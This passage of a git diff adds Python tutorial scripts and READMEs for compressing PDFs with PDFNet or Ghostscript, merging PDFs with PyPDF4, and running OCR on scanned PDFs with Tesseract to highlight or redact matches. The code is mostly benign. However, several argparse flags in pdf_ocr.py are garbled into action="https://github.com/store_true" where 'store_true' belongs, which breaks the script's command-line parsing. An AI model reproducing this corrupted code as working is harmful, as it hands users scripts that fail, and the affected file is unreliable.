+PyMuPDF==1.18.9 \ No newline at end of file diff --git a/handling-pdf-files/pdf-compressor/README.md b/handling-pdf-files/pdf-compressor/README.md new file mode 100644 index 00000000..307f105c --- /dev/null +++ b/handling-pdf-files/pdf-compressor/README.md @@ -0,0 +1,48 @@ +# [How to Compress PDF Files in Python](https://www.thepythoncode.com/article/compress-pdf-files-in-python) + +This directory contains two approaches: + +- Legacy (commercial): `pdf_compressor.py` uses PDFTron/PDFNet. PDFNet now requires a license key and the old pip package is not freely available, so this may not work without a license. +- Recommended (open source): `pdf_compressor_ghostscript.py` uses Ghostscript to compress PDFs. + +## Ghostscript method (recommended) + +Prerequisite: Install Ghostscript + +- macOS (Homebrew): + - `brew install ghostscript` +- Ubuntu/Debian: + - `sudo apt-get update && sudo apt-get install -y ghostscript` +- Windows: + - Download and install from https://ghostscript.com/releases/ + - Ensure `gswin64c.exe` (or `gswin32c.exe`) is in your PATH. + +No Python packages are required for this method, only Ghostscript. + +### Usage + +To compress `bert-paper.pdf` into `bert-paper-min.pdf` with default quality (`power=2`): + +``` +python pdf_compressor_ghostscript.py bert-paper.pdf bert-paper-min.pdf +``` + +Optional quality level `[power]` controls compression/quality tradeoff (maps to Ghostscript `-dPDFSETTINGS`): + +- 0 = `/screen` (smallest, lowest quality) +- 1 = `/ebook` (good quality) +- 2 = `/printer` (high quality) [default] +- 3 = `/prepress` (very high quality) +- 4 = `/default` (Ghostscript default) + +Example: + +``` +python pdf_compressor_ghostscript.py bert-paper.pdf bert-paper-min.pdf 1 +``` + +In testing, `bert-paper.pdf` (~757 KB) compressed to ~407 KB with `power=1`. + +## Legacy PDFNet method (requires license) + +If you have a valid license and the PDFNet SDK installed, you can use the original `pdf_compressor.py` script. Note that the previously referenced `PDFNetPython3` pip package is not freely available and may not install via pip. Refer to the vendor's documentation for installation and licensing. \ No newline at end of file diff --git a/handling-pdf-files/pdf-compressor/bert-paper.pdf b/handling-pdf-files/pdf-compressor/bert-paper.pdf new file mode 100644 index 00000000..2394716b Binary files /dev/null and b/handling-pdf-files/pdf-compressor/bert-paper.pdf differ diff --git a/handling-pdf-files/pdf-compressor/pdf_compressor.py b/handling-pdf-files/pdf-compressor/pdf_compressor.py new file mode 100644 index 00000000..217b38a6 --- /dev/null +++ b/handling-pdf-files/pdf-compressor/pdf_compressor.py @@ -0,0 +1,58 @@ +# Import Libraries +import os +import sys +from PDFNetPython3.PDFNetPython import PDFDoc, Optimizer, SDFDoc, PDFNet + + +def get_size_format(b, factor=1024, suffix="B"): + """ + Scale bytes to its proper byte format + e.g: + 1253656 => '1.20MB' + 1253656678 => '1.17GB' + """ + for unit in ["", "K", "M", "G", "T", "P", "E", "Z"]: + if b < factor: + return f"{b:.2f}{unit}{suffix}" + b /= factor + return f"{b:.2f}Y{suffix}" + + +def compress_file(input_file: str, output_file: str): + """Compress PDF file""" + if not output_file: + output_file = input_file + initial_size = os.path.getsize(input_file) + try: + # Initialize the library + PDFNet.Initialize() + doc = PDFDoc(input_file) + # Optimize PDF with the default settings + doc.InitSecurityHandler() + # Reduce PDF size by removing redundant information and compressing data streams + Optimizer.Optimize(doc) + doc.Save(output_file, SDFDoc.e_linearized) + doc.Close() + except Exception as e: + print("Error compress_file=", e) + doc.Close() + return False + compressed_size = os.path.getsize(output_file) + ratio = 1 - (compressed_size / initial_size) + summary = { + "Input File": input_file, "Initial Size": get_size_format(initial_size), + "Output File": output_file, f"Compressed Size": get_size_format(compressed_size), + "Compression Ratio": "{0:.3%}.".format(ratio) + } + # Printing Summary + print("## Summary ########################################################") + print("\n".join("{}:{}".format(i, j) for i, j in summary.items())) + print("###################################################################") + return True + + +if __name__ == "__main__": + # Parsing command line arguments entered by user + input_file = sys.argv[1] + output_file = sys.argv[2] + compress_file(input_file, output_file) diff --git a/handling-pdf-files/pdf-compressor/pdf_compressor_ghostscript.py b/handling-pdf-files/pdf-compressor/pdf_compressor_ghostscript.py new file mode 100644 index 00000000..88de4062 --- /dev/null +++ b/handling-pdf-files/pdf-compressor/pdf_compressor_ghostscript.py @@ -0,0 +1,103 @@ +import os +import sys +import subprocess +import shutil + + +def get_size_format(b, factor=1024, suffix="B"): + for unit in ["", "K", "M", "G", "T", "P", "E", "Z"]: + if b < factor: + return f"{b:.2f}{unit}{suffix}" + b /= factor + return f"{b:.2f}Y{suffix}" + + +def find_ghostscript_executable(): + candidates = [ + shutil.which('gs'), + shutil.which('gswin64c'), + shutil.which('gswin32c'), + ] + for c in candidates: + if c: + return c + return None + + +def compress_file(input_file: str, output_file: str, power: int = 2): + """Compress PDF using Ghostscript. + + power: + 0 -> /screen (lowest quality, highest compression) + 1 -> /ebook (good quality) + 2 -> /printer (high quality) [default] + 3 -> /prepress (very high quality) + 4 -> /default (Ghostscript default) + """ + if not os.path.exists(input_file): + raise FileNotFoundError(f"Input file not found: {input_file}") + if not output_file: + output_file = input_file + + initial_size = os.path.getsize(input_file) + + gs = find_ghostscript_executable() + if not gs: + raise RuntimeError( + "Ghostscript not found. Install it and ensure 'gs' (Linux/macOS) " + "or 'gswin64c'/'gswin32c' (Windows) is in PATH." + ) + + settings_map = { + 0: '/screen', + 1: '/ebook', + 2: '/printer', + 3: '/prepress', + 4: '/default', + } + pdfsettings = settings_map.get(power, '/printer') + + cmd = [ + gs, + '-sDEVICE=pdfwrite', + '-dCompatibilityLevel=1.4', + f'-dPDFSETTINGS={pdfsettings}', + '-dNOPAUSE', + '-dBATCH', + '-dQUIET', + f'-sOutputFile={output_file}', + input_file, + ] + + try: + subprocess.run(cmd, check=True) + except subprocess.CalledProcessError as e: + print(f"Ghostscript failed: {e}") + return False + + compressed_size = os.path.getsize(output_file) + ratio = 1 - (compressed_size / initial_size) + summary = { + "Input File": input_file, + "Initial Size": get_size_format(initial_size), + "Output File": output_file, + "Compressed Size": get_size_format(compressed_size), + "Compression Ratio": f"{ratio:.3%}", + } + + print("## Summary ########################################################") + for k, v in summary.items(): + print(f"{k}: {v}") + print("###################################################################") + return True + + +if __name__ == '__main__': + if len(sys.argv) < 3: + print("Usage: python pdf_compressor_ghostscript.py [power 0-4]") + sys.exit(1) + input_file = sys.argv[1] + output_file = sys.argv[2] + power = int(sys.argv[3]) if len(sys.argv) > 3 else 2 + ok = compress_file(input_file, output_file, power) + sys.exit(0 if ok else 2) \ No newline at end of file diff --git a/handling-pdf-files/pdf-compressor/requirements.txt b/handling-pdf-files/pdf-compressor/requirements.txt new file mode 100644 index 00000000..9f6e5337 --- /dev/null +++ b/handling-pdf-files/pdf-compressor/requirements.txt @@ -0,0 +1,7 @@ +# No Python dependencies required for Ghostscript-based compressor. +# System dependency: Ghostscript +# - macOS: brew install ghostscript +# - Debian: sudo apt-get install -y ghostscript +# - Windows: https://ghostscript.com/releases/ +# +# The legacy script (pdf_compressor.py) depends on PDFNet (commercial) and a license key. \ No newline at end of file diff --git a/handling-pdf-files/pdf-merger/README.md b/handling-pdf-files/pdf-merger/README.md new file mode 100644 index 00000000..37d36d3f --- /dev/null +++ b/handling-pdf-files/pdf-merger/README.md @@ -0,0 +1,28 @@ +# [How to Merge PDF Files in Python](https://www.thepythoncode.com/article/merge-pdf-files-in-python) +To run this: +- `pip3 install -r requirements.txt` +- + ``` + $ python pdf_merger.py --help + ``` + **Output:** + ``` + usage: pdf_merger.py [-h] -i [INPUT_FILES [INPUT_FILES ...]] [-p [PAGE_RANGE [PAGE_RANGE ...]]] -o OUTPUT_FILE [-b BOOKMARK] + + Available Options + + optional arguments: + -h, --help show this help message and exit + -i [INPUT_FILES [INPUT_FILES ...]], --input_files [INPUT_FILES [INPUT_FILES ...]] + Enter the path of the files to process + -p [PAGE_RANGE [PAGE_RANGE ...]], --page_range [PAGE_RANGE [PAGE_RANGE ...]] + Enter the pages to consider e.g.: (0,2) -> First 2 pages + -o OUTPUT_FILE, --output_file OUTPUT_FILE + Enter a valid output file + -b BOOKMARK, --bookmark BOOKMARK + Bookmark resulting file + ``` +- To merge `bert-paper.pdf` with `letter.pdf` into a new `combined.pdf`: + ``` + $ python pdf_merger.py -i bert-paper.pdf,letter.pdf -o combined.pdf + ``` \ No newline at end of file diff --git a/handling-pdf-files/pdf-merger/bert-paper.pdf b/handling-pdf-files/pdf-merger/bert-paper.pdf new file mode 100644 index 00000000..2394716b Binary files /dev/null and b/handling-pdf-files/pdf-merger/bert-paper.pdf differ diff --git a/handling-pdf-files/pdf-merger/letter.pdf b/handling-pdf-files/pdf-merger/letter.pdf new file mode 100644 index 00000000..20f77fe2 Binary files /dev/null and b/handling-pdf-files/pdf-merger/letter.pdf differ diff --git a/handling-pdf-files/pdf-merger/pdf_merger.py b/handling-pdf-files/pdf-merger/pdf_merger.py new file mode 100644 index 00000000..dd8a0bef --- /dev/null +++ b/handling-pdf-files/pdf-merger/pdf_merger.py @@ -0,0 +1,56 @@ +# Import Libraries +from PyPDF4 import PdfFileMerger +import os +import argparse + + +def merge_pdfs(input_files: list, page_range: tuple, output_file: str, bookmark: bool = True): + """ + Merge a list of PDF files and save the combined result into the `output_file`. + `page_range` to select a range of pages (behaving like Python's range() function) from the input files + e.g (0,2) -> First 2 pages + e.g (0,6,2) -> pages 1,3,5 + bookmark -> add bookmarks to the output file to navigate directly to the input file section within the output file. + """ + # strict = False -> To ignore PdfReadError - Illegal Character error + merger = PdfFileMerger(strict=False) + for input_file in input_files: + bookmark_name = os.path.splitext(os.path.basename(input_file))[0] if bookmark else None + # pages To control which pages are appended from a particular file. + merger.append(fileobj=open(input_file, 'rb'), pages=page_range, import_bookmarks=False, bookmark=bookmark_name) + # Insert the pdf at specific page + merger.write(fileobj=open(output_file, 'wb')) + merger.close() + + +def parse_args(): + """Get user command line parameters""" + parser = argparse.ArgumentParser(description="Available Options") + parser.add_argument('-i', '--input_files', dest='input_files', nargs='*', + type=str, required=True, help="Enter the path of the files to process") + parser.add_argument('-p', '--page_range', dest='page_range', nargs='*', + help="Enter the pages to consider e.g.: (0,2) -> First 2 pages") + parser.add_argument('-o', '--output_file', dest='output_file', + required=True, type=str, help="Enter a valid output file") + parser.add_argument('-b', '--bookmark', dest='bookmark', default=True, type=lambda x: ( + str(x).lower() in ['true', '1', 'yes']), help="Bookmark resulting file") + # To Parse The Command Line Arguments + args = vars(parser.parse_args()) + # To Display The Command Line Arguments + print("## Command Arguments #################################################") + print("\n".join("{}:{}".format(i, j) for i, j in args.items())) + print("######################################################################") + return args + + +if __name__ == "__main__": + # Parsing command line arguments entered by user + args = parse_args() + page_range = None + if args['page_range']: + page_range = tuple(int(x) for x in args['page_range'][0].split(',')) + # call the main function + merge_pdfs( + input_files=args['input_files'], page_range=page_range, + output_file=args['output_file'], bookmark=args['bookmark'] + ) diff --git a/handling-pdf-files/pdf-merger/requirements.txt b/handling-pdf-files/pdf-merger/requirements.txt new file mode 100644 index 00000000..e280cf52 --- /dev/null +++ b/handling-pdf-files/pdf-merger/requirements.txt @@ -0,0 +1 @@ +PyPDF4==1.27.0 \ No newline at end of file diff --git a/handling-pdf-files/pdf-ocr/README.md b/handling-pdf-files/pdf-ocr/README.md new file mode 100644 index 00000000..a2c3cdf4 --- /dev/null +++ b/handling-pdf-files/pdf-ocr/README.md @@ -0,0 +1,32 @@ +# [How to Extract Text from Images in PDF Files with Python](https://www.thepythoncode.com/article/extract-text-from-images-or-scanned-pdf-python) +To run this: +- `pip3 install -r requirements.txt` +- + ``` + $ python pdf_ocr.py --help + ``` + + **Output:** + ``` + usage: pdf_ocr.py [-h] -i INPUT_PATH [-a {Highlight,Redact}] [-s SEARCH_STR] [-p PAGES] [-g] + + Available Options + + optional arguments: + -h, --help show this help message and exit + -i INPUT_PATH, --input-path INPUT_PATH + Enter the path of the file or the folder to process + -a {Highlight,Redact}, --action {Highlight,Redact} + Choose to highlight or to redact + -s SEARCH_STR, --search-str SEARCH_STR + Enter a valid search string + -p PAGES, --pages PAGES + Enter the pages to consider in the PDF file, e.g. (0,1) + -g, --generate-output + Generate text content in a CSV file + ``` +- To extract text from scanned image in `image.pdf` file: + ``` + $ python pdf_ocr.py -s "BERT" -i image.pdf -o output.pdf --generate-output -a Highlight + ``` + Passing `-s` to search for the keyword, `-i` is to pass the input file, `-o` is to pass output PDF file, `--generate-output` or `-g` to generate CSV file containing all extract text from all images in the PDF file, and `-a` for specifiying the action to perform in the output PDF file, "Highlight" will highlight the target keyword, you can also pass "Redact" to redact the text instead. \ No newline at end of file diff --git a/handling-pdf-files/pdf-ocr/example-image-containing-text.jpg b/handling-pdf-files/pdf-ocr/example-image-containing-text.jpg new file mode 100644 index 00000000..faffaabe Binary files /dev/null and b/handling-pdf-files/pdf-ocr/example-image-containing-text.jpg differ diff --git a/handling-pdf-files/pdf-ocr/image.pdf b/handling-pdf-files/pdf-ocr/image.pdf new file mode 100644 index 00000000..445e8776 Binary files /dev/null and b/handling-pdf-files/pdf-ocr/image.pdf differ diff --git a/handling-pdf-files/pdf-ocr/pdf_ocr.py b/handling-pdf-files/pdf-ocr/pdf_ocr.py new file mode 100644 index 00000000..af4d14f7 --- /dev/null +++ b/handling-pdf-files/pdf-ocr/pdf_ocr.py @@ -0,0 +1,530 @@ +# Import Libraries +import os +import re +import argparse +import pytesseract +from pytesseract import Output +import cv2 +import numpy as np +import fitz +from io import BytesIO +from PIL import Image +import pandas as pd +import filetype + +# Path Of The Tesseract OCR engine +TESSERACT_PATH = r"C:\\Program Files\\Tesseract-OCR\\tesseract.exe" +# Include tesseract executable +pytesseract.pytesseract.tesseract_cmd = TESSERACT_PATH + + +def pix2np(pix): + """ + Converts a pixmap buffer into a numpy array + """ + # pix.samples = sequence of bytes of the image pixels like RGBA + #pix.h = height in pixels + #pix.w = width in pixels + # pix.n = number of components per pixel (depends on the colorspace and alpha) + im = np.frombuffer(pix.samples, dtype=np.uint8).reshape( + pix.h, pix.w, pix.n) + try: + im = np.ascontiguousarray(im[..., [2, 1, 0]]) # RGB To BGR + except IndexError: + # Convert Gray to RGB + im = cv2.cvtColor(im, cv2.COLOR_GRAY2RGB) + im = np.ascontiguousarray(im[..., [2, 1, 0]]) # RGB To BGR + return im +################################################################################ +# Image Pre-Processing Functions to improve output accurracy +# Convert to grayscale + + +def grayscale(img): + return cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) + + +# Remove noise +def remove_noise(img): + return cv2.medianBlur(img, 5) + + +# Thresholding +def threshold(img): + # return cv2.threshold(img, 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)[1] + return cv2.threshold(img, 0, 255, cv2.THRESH_BINARY | cv2.THRESH_OTSU)[1] + + +# dilation +def dilate(img): + kernel = np.ones((5, 5), np.uint8) + return cv2.dilate(img, kernel, iterations=1) + + +# erosion +def erode(img): + kernel = np.ones((5, 5), np.uint8) + return cv2.erode(img, kernel, iterations=1) + + +# opening -- erosion followed by a dilation +def opening(img): + kernel = np.ones((5, 5), np.uint8) + return cv2.morphologyEx(img, cv2.MORPH_OPEN, kernel) + + +# canny edge detection +def canny(img): + return cv2.Canny(img, 100, 200) + + +# skew correction +def deskew(img): + coords = np.column_stack(np.where(img > 0)) + angle = cv2.minAreaRect(coords)[-1] + if angle < -45: + angle = -(90 + angle) + else: + angle = -angle + (h, w) = img.shape[:2] + center = (w//2, h//2) + M = cv2.getRotationMatrix2D(center, angle, 1.0) + rotated = cv2.warpAffine( + img, M, (w, h), flags=cv2.INTER_CUBIC, borderMode=cv2.BORDER_REPLICATE) + return rotated + + +# template matching +def match_template(img, template): + return cv2.matchTemplate(img, template, cv2.TM_CCOEFF_NORMED) + + +def convert_img2bin(img): + """ + Pre-processes the image and generates a binary output + """ + # Convert the image into a grayscale image + output_img = grayscale(img) + # Invert the grayscale image by flipping pixel values. + # All pixels that are grater than 0 are set to 0 and all pixels that are = to 0 are set to 255 + output_img = cv2.bitwise_not(output_img) + # Converting image to binary by Thresholding in order to show a clear separation between white and blacl pixels. + output_img = threshold(output_img) + return output_img + + +def display_img(title, img): + """Displays an image on screen and maintains the output until the user presses a key""" + cv2.namedWindow('img', cv2.WINDOW_NORMAL) + cv2.setWindowTitle('img', title) + cv2.resizeWindow('img', 1200, 900) + # Display Image on screen + cv2.imshow('img', img) + # Mantain output until user presses a key + cv2.waitKey(0) + # Destroy windows when user presses a key + cv2.destroyAllWindows() + + +def generate_ss_text(ss_details): + """Loops through the captured text of an image and arranges this text line by line. + This function depends on the image layout.""" + # Arrange the captured text after scanning the page + parse_text = [] + word_list = [] + last_word = '' + # Loop through the captured text of the entire page + for word in ss_details['text']: + # If the word captured is not empty + if word != '': + # Add it to the line word list + word_list.append(word) + last_word = word + if (last_word != '' and word == '') or (word == ss_details['text'][-1]): + parse_text.append(word_list) + word_list = [] + return parse_text + + +def search_for_text(ss_details, search_str): + """Search for the search string within the image content""" + # Find all matches within one page + results = re.findall(search_str, ss_details['text'], re.IGNORECASE) + # In case multiple matches within one page + for result in results: + yield result + + +def save_page_content(pdfContent, page_id, page_data): + """Appends the content of a scanned page, line by line, to a pandas DataFrame.""" + if page_data: + for idx, line in enumerate(page_data, 1): + line = ' '.join(line) + pdfContent = pdfContent.append( + {'page': page_id, 'line_id': idx, 'line': line}, ignore_index=True + ) + return pdfContent + + +def save_file_content(pdfContent, input_file): + """Outputs the content of the pandas DataFrame to a CSV file having the same path as the input_file + but with different extension (.csv)""" + content_file = os.path.join(os.path.dirname(input_file), os.path.splitext( + os.path.basename(input_file))[0] + ".csv") + pdfContent.to_csv(content_file, sep=',', index=False) + return content_file + + +def calculate_ss_confidence(ss_details: dict): + """Calculate the confidence score of the text grabbed from the scanned image.""" + # page_num --> Page number of the detected text or item + # block_num --> Block number of the detected text or item + # par_num --> Paragraph number of the detected text or item + # line_num --> Line number of the detected text or item + # Convert the dict to dataFrame + df = pd.DataFrame.from_dict(ss_details) + # Convert the field conf (confidence) to numeric + df['conf'] = pd.to_numeric(df['conf'], errors='coerce') + # Elliminate records with negative confidence + df = df[df.conf != -1] + # Calculate the mean confidence by page + conf = df.groupby(['page_num'])['conf'].mean().tolist() + return conf[0] + + +def ocr_img( + img: np.array, input_file: str, search_str: str, + highlight_readable_text: bool = False, action: str = 'Highlight', + show_comparison: bool = False, generate_output: bool = True): + """Scans an image buffer or an image file. + Pre-processes the image. + Calls the Tesseract engine with pre-defined parameters. + Calculates the confidence score of the image grabbed content. + Draws a green rectangle around readable text items having a confidence score > 30. + Searches for a specific text. + Highlight or redact found matches of the searched text. + Displays a window showing readable text fields or the highlighted or redacted text. + Generates the text content of the image. + Prints a summary to the console.""" + # If image source file is inputted as a parameter + if input_file: + # Reading image using opencv + img = cv2.imread(input_file) + # Preserve a copy of this image for comparison purposes + initial_img = img.copy() + highlighted_img = img.copy() + # Convert image to binary + bin_img = convert_img2bin(img) + # Calling Tesseract + # Tesseract Configuration parameters + # oem --> OCR engine mode = 3 >> Legacy + LSTM mode only (LSTM neutral net mode works the best) + # psm --> page segmentation mode = 6 >> Assume as single uniform block of text (How a page of text can be analyzed) + config_param = r'--oem 3 --psm 6' + # Feeding image to tesseract + details = pytesseract.image_to_data( + bin_img, output_type=Output.DICT, config=config_param, lang='eng') + # The details dictionary contains the information of the input image + # such as detected text, region, position, information, height, width, confidence score. + ss_confidence = calculate_ss_confidence(details) + boxed_img = None + # Total readable items + ss_readable_items = 0 + # Total matches found + ss_matches = 0 + for seq in range(len(details['text'])): + # Consider only text fields with confidence score > 30 (text is readable) + if float(details['conf'][seq]) > 30.0: + ss_readable_items += 1 + # Draws a green rectangle around readable text items having a confidence score > 30 + if highlight_readable_text: + (x, y, w, h) = (details['left'][seq], details['top'] + [seq], details['width'][seq], details['height'][seq]) + boxed_img = cv2.rectangle( + img, (x, y), (x+w, y+h), (0, 255, 0), 2) + # Searches for the string + if search_str: + results = re.findall( + search_str, details['text'][seq], re.IGNORECASE) + for result in results: + ss_matches += 1 + if action: + # Draw a red rectangle around the searchable text + (x, y, w, h) = (details['left'][seq], details['top'] + [seq], details['width'][seq], details['height'][seq]) + # Details of the rectangle + # Starting coordinate representing the top left corner of the rectangle + start_point = (x, y) + # Ending coordinate representing the botton right corner of the rectangle + end_point = (x + w, y + h) + #Color in BGR -- Blue, Green, Red + if action == "Highlight": + color = (0, 255, 255) # Yellow + elif action == "Redact": + color = (0, 0, 0) # Black + # Thickness in px (-1 will fill the entire shape) + thickness = -1 + boxed_img = cv2.rectangle( + img, start_point, end_point, color, thickness) + + if ss_readable_items > 0 and highlight_readable_text and not (ss_matches > 0 and action in ("Highlight", "Redact")): + highlighted_img = boxed_img.copy() + # Highlight found matches of the search string + if ss_matches > 0 and action == "Highlight": + cv2.addWeighted(boxed_img, 0.4, highlighted_img, + 1 - 0.4, 0, highlighted_img) + # Redact found matches of the search string + elif ss_matches > 0 and action == "Redact": + highlighted_img = boxed_img.copy() + #cv2.addWeighted(boxed_img, 1, highlighted_img, 0, 0, highlighted_img) + # save the image + cv2.imwrite("highlighted-text-image.jpg", highlighted_img) + # Displays window showing readable text fields or the highlighted or redacted data + if show_comparison and (highlight_readable_text or action): + title = input_file if input_file else 'Compare' + conc_img = cv2.hconcat([initial_img, highlighted_img]) + display_img(title, conc_img) + # Generates the text content of the image + output_data = None + if generate_output and details: + output_data = generate_ss_text(details) + # Prints a summary to the console + if input_file: + summary = { + "File": input_file, "Total readable words": ss_readable_items, "Total matches": ss_matches, "Confidence score": ss_confidence + } + # Printing Summary + print("## Summary ########################################################") + print("\n".join("{}:{}".format(i, j) for i, j in summary.items())) + print("###################################################################") + return highlighted_img, ss_readable_items, ss_matches, ss_confidence, output_data + # pass image into pytesseract module + # pytesseract is trained in many languages + #config_param = r'--oem 3 --psm 6' + #details = pytesseract.image_to_data(img,config=config_param,lang='eng') + # print(details) + # return details + + +def image_to_byte_array(image: Image): + """ + Converts an image into a byte array + """ + imgByteArr = BytesIO() + image.save(imgByteArr, format=image.format if image.format else 'JPEG') + imgByteArr = imgByteArr.getvalue() + return imgByteArr + + +def ocr_file(**kwargs): + """Opens the input PDF File. + Opens a memory buffer for storing the output PDF file. + Creates a DataFrame for storing pages statistics + Iterates throughout the chosen pages of the input PDF file + Grabs a screen-shot of the selected PDF page. + Converts the screen-shot pix to a numpy array + Scans the grabbed screen-shot. + Collects the statistics of the screen-shot(page). + Saves the content of the screen-shot(page). + Adds the updated screen-shot (Highlighted, Redacted) to the output file. + Saves the whole content of the PDF file. + Saves the output PDF file if required. + Prints a summary to the console.""" + input_file = kwargs.get('input_file') + output_file = kwargs.get('output_file') + search_str = kwargs.get('search_str') + pages = kwargs.get('pages') + highlight_readable_text = kwargs.get('highlight_readable_text') + action = kwargs.get('action') + show_comparison = kwargs.get('show_comparison') + generate_output = kwargs.get('generate_output') + # Opens the input PDF file + pdfIn = fitz.open(input_file) + # Opens a memory buffer for storing the output PDF file. + pdfOut = fitz.open() + # Creates an empty DataFrame for storing pages statistics + dfResult = pd.DataFrame( + columns=['page', 'page_readable_items', 'page_matches', 'page_total_confidence']) + # Creates an empty DataFrame for storing file content + if generate_output: + pdfContent = pd.DataFrame(columns=['page', 'line_id', 'line']) + # Iterate throughout the pages of the input file + for pg in range(pdfIn.pageCount): + if str(pages) != str(None): + if str(pg) not in str(pages): + continue + # Select a page + page = pdfIn[pg] + # Rotation angle + rotate = int(0) + # PDF Page is converted into a whole picture 1056*816 and then for each picture a screenshot is taken. + # zoom = 1.33333333 -----> Image size = 1056*816 + # zoom = 2 ---> 2 * Default Resolution (text is clear, image text is hard to read) = filesize small / Image size = 1584*1224 + # zoom = 4 ---> 4 * Default Resolution (text is clear, image text is barely readable) = filesize large + # zoom = 8 ---> 8 * Default Resolution (text is clear, image text is readable) = filesize large + zoom_x = 2 + zoom_y = 2 + # The zoom factor is equal to 2 in order to make text clear + # Pre-rotate is to rotate if needed. + mat = fitz.Matrix(zoom_x, zoom_y).preRotate(rotate) + # To captue a specific part of the PDF page + # rect = page.rect #page size + # mp = rect.tl + (rect.bl - (0.75)/zoom_x) #rectangular area 56 = 75/1.3333 + # clip = fitz.Rect(mp,rect.br) #The area to capture + # pix = page.getPixmap(matrix=mat, alpha=False,clip=clip) + # Get a screen-shot of the PDF page + # Colorspace -> represents the color space of the pixmap (csRGB, csGRAY, csCMYK) + # alpha -> Transparancy indicator + pix = page.getPixmap(matrix=mat, alpha=False, colorspace="csGRAY") + # convert the screen-shot pix to numpy array + img = pix2np(pix) + # Erode image to omit or thin the boundaries of the bright area of the image + # We apply Erosion on binary images. + #kernel = np.ones((2,2) , np.uint8) + #img = cv2.erode(img,kernel,iterations=1) + upd_np_array, pg_readable_items, pg_matches, pg_total_confidence, pg_output_data \ + = ocr_img(img=img, input_file=None, search_str=search_str, highlight_readable_text=highlight_readable_text # False + , action=action # 'Redact' + , show_comparison=show_comparison # True + , generate_output=generate_output # False + ) + # Collects the statistics of the page + dfResult = dfResult.append({'page': (pg+1), 'page_readable_items': pg_readable_items, + 'page_matches': pg_matches, 'page_total_confidence': pg_total_confidence}, ignore_index=True) + if generate_output: + pdfContent = save_page_content( + pdfContent=pdfContent, page_id=(pg+1), page_data=pg_output_data) + # Convert the numpy array to image object with mode = RGB + #upd_img = Image.fromarray(np.uint8(upd_np_array)).convert('RGB') + upd_img = Image.fromarray(upd_np_array[..., ::-1]) + # Convert the image to byte array + upd_array = image_to_byte_array(upd_img) + # Get Page Size + """ + #To check whether initial page is portrait or landscape + if page.rect.width > page.rect.height: + fmt = fitz.PaperRect("a4-1") + else: + fmt = fitz.PaperRect("a4") + + #pno = -1 -> Insert after last page + pageo = pdfOut.newPage(pno = -1, width = fmt.width, height = fmt.height) + """ + pageo = pdfOut.newPage( + pno=-1, width=page.rect.width, height=page.rect.height) + pageo.insertImage(page.rect, stream=upd_array) + #pageo.insertImage(page.rect, stream=upd_img.tobytes()) + #pageo.showPDFpage(pageo.rect, pdfDoc, page.number) + content_file = None + if generate_output: + content_file = save_file_content( + pdfContent=pdfContent, input_file=input_file) + summary = { + "File": input_file, "Total pages": pdfIn.pageCount, + "Processed pages": dfResult['page'].count(), "Total readable words": dfResult['page_readable_items'].sum(), + "Total matches": dfResult['page_matches'].sum(), "Confidence score": dfResult['page_total_confidence'].mean(), + "Output file": output_file, "Content file": content_file + } + # Printing Summary + print("## Summary ########################################################") + print("\n".join("{}:{}".format(i, j) for i, j in summary.items())) + print("\nPages Statistics:") + print(dfResult, sep='\n') + print("###################################################################") + pdfIn.close() + if output_file: + pdfOut.save(output_file) + pdfOut.close() + + +def ocr_folder(**kwargs): + """Scans all PDF Files within a specified path""" + input_folder = kwargs.get('input_folder') + # Run in recursive mode + recursive = kwargs.get('recursive') + search_str = kwargs.get('search_str') + pages = kwargs.get('pages') + action = kwargs.get('action') + generate_output = kwargs.get('generate_output') + # Loop though the files within the input folder. + for foldername, dirs, filenames in os.walk(input_folder): + for filename in filenames: + # Check if pdf file + if not filename.endswith('.pdf'): + continue + # PDF File found + inp_pdf_file = os.path.join(foldername, filename) + print("Processing file =", inp_pdf_file) + output_file = None + if search_str: + # Generate an output file + output_file = os.path.join(os.path.dirname( + inp_pdf_file), 'ocr_' + os.path.basename(inp_pdf_file)) + ocr_file( + input_file=inp_pdf_file, output_file=output_file, search_str=search_str, pages=pages, highlight_readable_text=False, action=action, show_comparison=False, generate_output=generate_output + ) + if not recursive: + break + + +def is_valid_path(path): + """Validates the path inputted and checks whether it is a file path or a folder path""" + if not path: + raise ValueError(f"Invalid Path") + if os.path.isfile(path): + return path + elif os.path.isdir(path): + return path + else: + raise ValueError(f"Invalid Path {path}") + + +def parse_args(): + """Get user command line parameters""" + parser = argparse.ArgumentParser(description="Available Options") + parser.add_argument('-i', '--input-path', type=is_valid_path, + required=True, help="Enter the path of the file or the folder to process") + parser.add_argument('-a', '--action', choices=[ + 'Highlight', 'Redact'], type=str, help="Choose to highlight or to redact") + parser.add_argument('-s', '--search-str', dest='search_str', + type=str, help="Enter a valid search string") + parser.add_argument('-p', '--pages', dest='pages', type=tuple, + help="Enter the pages to consider in the PDF file, e.g. (0,1)") + parser.add_argument("-g", "--generate-output", action="https://github.com/store_true", help="Generate text content in a CSV file") + path = parser.parse_known_args()[0].input_path + if os.path.isfile(path): + parser.add_argument('-o', '--output_file', dest='output_file', + type=str, help="Enter a valid output file") + parser.add_argument("-t", "--highlight-readable-text", action="https://github.com/store_true", help="Highlight readable text in the generated image") + parser.add_argument("-c", "--show-comparison", action="https://github.com/store_true", help="Show comparison between captured image and the generated image") + if os.path.isdir(path): + parser.add_argument("-r", "--recursive", action="https://github.com/store_true", help="Whether to process the directory recursively") + # To Porse The Command Line Arguments + args = vars(parser.parse_args()) + # To Display The Command Line Arguments + print("## Command Arguments #################################################") + print("\n".join("{}:{}".format(i, j) for i, j in args.items())) + print("######################################################################") + return args + + +if __name__ == '__main__': + # Parsing command line arguments entered by user + args = parse_args() + # If File Path + if os.path.isfile(args['input_path']): + # Process a file + if filetype.is_image(args['input_path']): + ocr_img( + # if 'search_str' in (args.keys()) else None + img=None, input_file=args['input_path'], search_str=args['search_str'], highlight_readable_text=args['highlight_readable_text'], action=args['action'], show_comparison=args['show_comparison'], generate_output=args['generate_output'] + ) + else: + ocr_file( + input_file=args['input_path'], output_file=args['output_file'], search_str=args['search_str'] if 'search_str' in (args.keys()) else None, pages=args['pages'], highlight_readable_text=args['highlight_readable_text'], action=args['action'], show_comparison=args['show_comparison'], generate_output=args['generate_output'] + ) + # If Folder Path + elif os.path.isdir(args['input_path']): + # Process a folder + ocr_folder( + input_folder=args['input_path'], recursive=args['recursive'], search_str=args['search_str'] if 'search_str' in (args.keys()) else None, pages=args['pages'], action=args['action'], generate_output=args['generate_output'] + ) diff --git a/handling-pdf-files/pdf-ocr/requirements.txt 